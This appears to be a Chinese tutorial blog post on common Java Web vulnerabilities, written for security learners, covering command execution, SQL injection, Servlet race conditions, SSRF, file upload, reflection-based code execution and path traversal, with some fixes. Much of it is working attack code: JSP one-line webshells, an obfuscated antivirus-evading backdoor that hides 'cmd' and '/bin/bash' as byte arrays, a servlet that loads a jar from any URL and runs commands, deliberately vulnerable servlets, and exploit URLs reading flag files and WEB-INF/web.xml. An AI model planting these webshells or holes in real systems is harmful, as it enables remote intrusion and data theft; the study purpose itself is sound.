2019-10-15 Java Web常见漏洞分析

目录

Java vs PHP

Java Web的常见概念

  • Java Web项目的目录结构
  • Servlet
  • JSP(Java Server Pages)
  • JDBC(Java Database Connectivity)
  • Java Bean

Java Web常见漏洞分析

  • 命令执行(JSP一句话木马等)
  • SQL注入
  • 条件竞争(Servlet线程不安全)
  • SSRF
  • 文件上传
  • 代码执行(Java反射机制)
  • 任意文件读取/目录遍历攻击

Java vs PHP

语言 Java PHP
语言类型(静态类型/动态类型) 静态类型(不过现在似乎引入了动态类型) 动态类型(变量在声明时不需要声明类型)
语言类型(强类型/弱类型) 强类型(不允许隐式类型转换,类型安全) 弱类型(存在隐式类型转换,类型不安全)
语言类型(编译型/解释型) 半编译半解释型(.java编译为.class,.class由JVM解释执行) 解释型
安全性 好(相对而言,从语言本身的角度来讲)
代码特点 代码复杂、长、不易懂 代码简单、短、易懂
是否需要反编译 因为存在编译过程,需要反编译才能看到源码 不需要反编译
代码审计的难易程度 困难(相比而言,代码审计的难易程度) 简单
Java是世界上最好的语言

Java Web常见概念

Java Web项目的目录结构

这里就讲有Maven的目录结构,因为做Java WebMaven几乎是必不可少的(以及构建工具里我只懂Maven……)。

JavaWebProject      项目根目录
|--src              存放Java源码
   |--main          Java程序及其相关的东西
      |--java       存放.java文件,这些文件一般是Servlet和JavaBean
      |--resources  存放需要用到的资源,比如Spring Framework的applicationContext.xml
   |-test           测试程序
|--web              JSP文件放在这里
   |--WEB-INF       非常重要的目录,据说Java Web的题一般是拿到这个文件夹
      |--classes    编译好的.class文件
      |--lib        项目依赖的一些包,比如JDBC的包
      web.xml       项目配置文件
pom.xml             Maven的文件

Servlet

狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个接口的类。

一般情况下,将Servlet理解为后者。

MVC的开发模式中,Servlet一般用作Controller

JSP(Java Server Pages)

JSP是一种动态网页技术标准,可以将特定的动态内容嵌入到静态页面中,类似于PHP

JSPJava作为脚本语言(也就是说可以在HTML文件中嵌入Java代码),其本质上是一个ServletJSP在第一次访问时会被翻译成Servlet,再编译为.class文件)。

一个简单粗暴的理解:JSPPHP一样,只是页面内嵌的语言换成了Java

JDBC(Java Database Connectivity)

JDBC(Java DataBase Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。

JavaBean

JavaBean是一些有特定特点的Java类,其特点是:

  1. 有无参的构造器。
  2. 所有的属性都是private,并且提供了相应的gettersetter方法。

服务器中访问的JavaBean一般有以下两种:

  1. 封装数据对象的JavaBean
  2. 封装业务逻辑的JavaBean

Java Web常见漏洞分析

这次只讲Java本身导致的一些漏洞,框架的漏洞太多了一时半会讲不完……

命令执行(JSP一句话木马)

无回显

<%
    Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

利用:

http://localhost:9000/javasec/commandExecution.jsp?cmd=calc

弹出计算器。

没有任何回显,不带cmd参数会报错。

有回显

    <%
        java.io.InputStream is = Runtime.getRuntime()
                                .exec(request.getParameter("command"))
                                .getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        while ((a = is.read(b)) != -1) {
            out.print(new String(b));
        }
    %>

利用:

http://localhost:9000/javasec/commandExecution.jsp?command=whoami

不带command参数也会报错。

以上是基本的一句话木马,如果需要加密码验证之类的东西,和PHP的方法基本相同。

免杀后门

from:https://xz.aliyun.com/t/2342

<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
    <INPUT TYPE="text" NAME="q">
    <INPUT TYPE="submit" VALUE="Fly">
</FORM>

<%
    String op="Got Nothing";
    String query = request.getParameter("q");
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    Boolean isWin;
    if(fileSeparator.equals("\\")){
        isWin = true;
    }else{
        isWin = false;
    }

    if (query != null) {
        ProcessBuilder pb;
        if(isWin) {
            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
        }else{
            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
        }
        Process process = pb.start();
        Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
    }
%>

<PRE>
    <%= op %>>
</PRE>
</BODY>
</HTML>

注意:Java要想把字符串当成代码来执行非常困难,因为没有eval()这样的方法。这个也是由Java语言本身半编译半解释的特性决定的。实现这个功能需要很大量的代码(大概方法就是自己写一个动态编译,把字符串写入临时文件里,然后编译它,再执行),所以有别的解决方法的话还是别这么干了。用一句话说就是:Java的eval()方法要自己实现

防范方法

禁用JSP,在web.xml中加入:

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jspx</url-pattern>
        <url-pattern>*.jsp</url-pattern>
        <scripting-invalid>true</scripting-invalid>
    </jsp-property-group>
</jsp-config>

添加以上设置之后,含有Java代码的JSP文件就会编译不通过。

SQL注入

典型漏洞代码:

            conn = DriverManager.getConnection(URL, USERNAME, PASSWORD);
            stmt = conn.createStatement();
            String sql = "SELECT * FROM user WHERE username = '" + username
                       + "' AND password = md5('" + password
                       + "')";
            System.out.println(sql);
            rs = stmt.executeQuery(sql);

分析、修复方案等:

https://www.yuque.com/timekeeper/sayyuy/shc33k

一句话:使用PreparedStatement、不要把用户输入的东西拼到SQL语句里。

            String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
            stmt = conn.prepareStatement(sql);
            stmt.setString(1, username);
            stmt.setString(2, password);
            rs = stmt.executeQuery();
            System.out.println(stmt.toString());

条件竞争(Servlet线程不安全)

某些情况下JavaPHP更容易出现条件竞争漏洞。这里分享由Servlet线程不安全导致的条件竞争漏洞。

Servlet实际上是单例的,除非这个Servlet实现SingleThreadMethod接口,当多线程并发访问时,每个线程得到的实际上是同一个Servlet实例,每个线程对这个Servlet实例的修改就会影响到其他线程。

当客户端第一次请求某个Servlet时,Servlet容器(比较常见的就是tomcat)会根据@WebServlet注解(Servlet版本3及以上)或者web.xml的配置(如果有的话)实例化这个Servlet。如果有新的客户端请求这个Servlet类,一般就不会再次实例化它了,也就是有多个线程在使用这个Servlet实例。

典型代码1:

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/RaceCondition")
public class RaceCondition extends HttpServlet {
    private String username = "no name";

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String name = req.getParameter("username");
        if (name != null) {
            username = name;
        }
        resp.setContentType("text/html;charset=UTF-8");
        PrintWriter out = resp.getWriter();
        out.println(username);
        out.flush();
        out.close();
    }
}

直接访问:

http://localhost:9000/javasec/RaceCondition

输出no name

带上参数访问:

http://localhost:9000/javasec/RaceCondition?username=江文

输出变成江文

使用其他浏览器不带参数访问,输出还是江文。也就是说有其他的线程修改了成员变量的值。

修复:

  1. 不要在Servlet中使用成员变量。
  2. 实现SingleThreadModel接口(不建议,因为官方已经废弃了这个接口)。

SSRF

SSRF(Server-Side Request Forge, 服务端请求伪造),攻击者让服务端发起指定的请求。

SSRF攻击的目标一般是从外网无法访问的内网系统。

Java中的SSRF支持sun.net.www.protocol里的所有协议:

  • http
  • https
  • file
  • ftp
  • mailto
  • jar
  • netdoc

但是,相对于PHPJavaSSRF的利用局限较大(因为Java没有那么灵活),一般利用http协议来探测端口,利用file协议读取任意文件。

典型代码(应该是最简单的SSRF,利用SSRF读文件):

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;

@WebServlet("/SSRF")
public class SSRFServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("url");
        if (url != null) {
            URL u = new URL(url);
            URLConnection urlConnection = u.openConnection();
            URLConnection httpUrl = urlConnection;
            BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
            String inputLine;
            StringBuffer html = new StringBuffer();

            while ((inputLine = in.readLine()) != null) {
                html.append(inputLine);
            }
            resp.setContentType("text/html;charset=UTF-8");
            PrintWriter out = resp.getWriter();
            out.println("<xmp>");
            out.print(html.toString());
            out.println("</xmp>");
            out.flush();
            out.close();
            in.close();
        }
    }
}

利用:

E盘根目录下放置flag.txt

http://localhost:9000/javasec/SSRF?url=file:///E:/flag.txt

成功读取到flag.txt的内容。

修复:

PHPSSRF一个修复方法。

以上代码如果加上强制类型转换,也可以使其失去读文件的功能:

URLConnection httpUrl = (HttpURLConnection) urlConnection;

文件上传

Java中实现文件上传的代码比较复杂,一个典型的没有做任何过滤的文件上传Servlet代码如下:

package com.wen.javasec.controller;

import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;

@WebServlet("/FileUpload")
public class UploadServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String root = req.getServletContext().getRealPath("/upload");
        DiskFileItemFactory factory = new DiskFileItemFactory();
        ServletFileUpload upload = new ServletFileUpload(factory);
        try {
            List<FileItem> list = upload.parseRequest(req);
            for (FileItem it : list) {
                if (!it.isFormField()) {
                    it.write(new File(root + "/" + it.getName()));
                    resp.getWriter().write("success");
                }
            }
        } catch (Exception e) {
            try {
                resp.getWriter().write("exception");
            } catch (IOException e1) {
                e1.printStackTrace();
            }
            e.printStackTrace();
        }
    }
}

对应的JSP

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>File Upload</title>
</head>
<body>
    <form method="post" action="${pageContext.request.contextPath}/FileUpload" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="submit">
    </form>
</body>
</html>

访问/upload.jsp,什么都可以上传。

这方面的代码审计和PHP差不多,看看Upload-Labs,研究一下就行。

代码执行(Java反射机制)

这里分享一下如何利用Java反射机制,与上面的文件上传漏洞相配合,来达到代码执行的目的。

因为Java存在反射机制,可以在不重启服务器的情况下,动态加载用户上传的jar包。如果一个JavaWeb应用存在文件上传漏洞,我们成功上传了一个jar包和一个JSP文件,就可以在这个JSP文件中通过反射去加载这个jar包,进而执行其中的恶意代码。

这里写在Servlet里了。如果跟文件上传配合着来的话,建议写在JSP里:

package com.wen.javasec.controller;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

@WebServlet("/Reflect")
public class ReflectServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String url = req.getParameter("url");
        String className = req.getParameter("class");
        String methodName = req.getParameter("method");
        String cmd = req.getParameter("cmd");

        URL[] urls = new URL[] { new URL(url) };
        URLClassLoader ucl = new URLClassLoader(urls);

        try {
            Class<?> cls = ucl.loadClass(className);
            Method method = cls.getMethod(methodName, String.class);
            String result = (String) method.invoke(cls.newInstance(), cmd);
            if (result != null) {
                resp.setContentType("text/html;charset=UTF-8");
                PrintWriter out = resp.getWriter();
                out.print(result);
                out.flush();
                out.close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

被加载的类,打成jar包:

import java.io.*;

public class Exec {
    public String execution(String cmd) {
        try {
            InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            String result = "Result:";
            while ((a = is.read(b)) != -1) {
                result += new String(b);
            }
            return result;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
        
    }
}

javac .\Exec.java
jar -cvf Exec.jar Exec.class

利用:

http://localhost:9000/javasec/Reflect?url=file:///E:/JavaWeb/jar/Exec.jar&class=Exec&method=execution&cmd=whoami

任意文件读取/目录遍历攻击

任意文件读取

读取任意文件,并显示:

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;

@WebServlet("/FileRead")
public class FileReadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("file");
        if (url != null) {
            File file = new File(url);
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;
            while ((a = fis.read(b)) != -1) {
                baos.write(b, 0, a);
            }
            resp.setContentType("text/html;charset=UTF-8");
            PrintWriter out = resp.getWriter();
            out.print("<xmp>");
            out.print(new String(baos.toByteArray()));
            out.print("</xmp>");
            fis.close();
        }
    }
}

利用:

http://localhost:9000/javasec/FileRead?file=E:///flag.txt

目录遍历攻击

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

@WebServlet("/FileDownload")
public class FileDownloadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String root = req.getServletContext().getRealPath("/upload");
        String fileName = req.getParameter("file");
        File file = new File(root + "/" + fileName);
        FileInputStream fis = new FileInputStream(file);
        resp.addHeader("Content-Disposition", "attachment;filename=" + new String(fileName.getBytes()));
        resp.addHeader("Content-Length", "" + file.length());
        byte[] b = new byte[fis.available()];
        fis.read(b);
        resp.getOutputStream().write(b);
    }
}

对应的JSP

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Download</title>
</head>
<body>
    <form action="${pageContext.request.contextPath}/FileDownload" method="get">
        <label for="file">需要下载的文件名:</label>
        <input type="text" name="file" id="file">
        <input type="submit" value="submit">
    </form>
</body>
</html>

利用:

http://localhost:9000/javasec/FileDownload?file=../WEB-INF/web.xml

或者直接在download.jsp的输入框里输入../WEB-INF/web.xml也可以。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,245评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,749评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,960评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,575评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,668评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,670评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,664评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,422评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,864评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,178评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,340评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,015评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,646评论 3 323
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,265评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,494评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,261评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,206评论 2 352

推荐阅读更多精彩内容

  • 这部分主要是与Java Web和Web Service相关的面试题。 96、阐述Servlet和CGI的区别? 答...
    杂货铺老板阅读 1,402评论 0 10
  • 经典的Java面试题(第二部分),这部分主要是与Java Web和Web Service相关的面试题。 96、阐述...
    nnngu阅读 691评论 0 8
  • 面向对象编程(OOP) Java是一个支持并发、基于类和面向对象的计算机编程语言。下面列出了面向对象软件开发的优点...
    大家请叫我小杰阅读 1,130评论 0 0
  • JAVA相关基础知识 1、面向对象的特征有哪些方面 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以...
    yangkg阅读 662评论 0 1
  • 一直以来,对于推荐类的作家是稍稍有点抗拒的。可能在内心深处还是有点偏见,过于热销的作品未必见得好。可是,真...
    小房子_ea7a阅读 1,997评论 1 33